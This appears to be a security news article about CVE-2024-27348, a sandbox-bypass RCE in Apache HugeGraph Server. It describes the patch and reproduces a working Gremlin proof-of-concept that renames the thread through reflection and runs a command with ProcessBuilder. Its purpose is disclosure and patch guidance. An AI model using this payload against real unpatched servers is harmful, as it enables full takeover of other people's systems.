A proof-of-concept (PoC) exploit has been released for a high-severity Remote Code Execution (RCE) vulnerability in the Apache HugeGraph Server.
This vulnerability, identified as CVE-2024-27348, affects versions of HugeGraph Server before 1.3.0 and has been assigned a CVSS score of 9.8, indicating its critical nature.
What is Apache HugeGraph?
Apache HugeGraph is an open-source graph database designed to handle large-scale graph data and complex queries with high performance.
Developed by Baidu, HugeGraph supports various data models and query languages, including Gremlin, Cypher, and SPARQL.
It was created to address the limitations of existing graph databases in managing massive datasets and complex queries. Since its release, its performance and flexibility have gained significant traction.
CVE-2024-27348 is a severe RCE vulnerability that allows attackers to bypass sandbox restrictions and achieve remote code execution through Gremlin, a graph traversal language integral to the Apache TinkerPop project.
This vulnerability enables attackers to gain complete control over the server, posing a significant threat to organizations using affected versions of HugeGraph.
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The patch for this vulnerability includes several critical changes to enhance security. Key modifications were made in the following files:
- LoginAPI.java: Enhancements to the authentication/authorization process by adding the @HeaderParam annotation, which requires an authorization token for the logout method and ensures the token is not empty or null.
- HugeFactoryAuthProxy.java: Introduction of the filterCriticalSystemClasses function to filter critical system classes, addressing the root cause of the vulnerability.
- HugeSecurityManager.java: Addition of methods like checkMemberAccess and optionalMethodsToFilter to prevent unauthorized reflective access to sensitive classes.
Exploitation and Analysis
The PoC exploit demonstrates how an attacker can bypass security measures by exploiting the SecurityManager’s missing reflection filtering.
The exploit involves changing the name of the current thread to bypass security checks and using the ProcessBuilder class to execute commands.
Here is a simplified version of the exploit code:
{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName("java.lang.Thread");java.lang.reflect.Field field = clz.getDeclaredField("name");field.setAccessible(true);field.set(thread, "SL7");Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList("mkdir", "/tmp/SecureLayer7");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}This code changes the thread name to “SL7” and uses ProcessBuilder to create a directory, bypassing security checks.
The release of the PoC exploit for CVE-2024-27348 highlights the critical nature of this vulnerability in Apache HugeGraph.
Organizations using affected versions of HugeGraph are strongly advised to update to version 1.3.0 or later to mitigate the risk.
This incident underscores the importance of robust security measures and timely patching to protect against potential exploits.
As the cybersecurity landscape evolves, staying informed about vulnerabilities and their mitigations is crucial for maintaining the security and integrity of systems and data.
The community’s swift response to this vulnerability demonstrates the collaborative effort required to effectively address and mitigate such high-severity threats.
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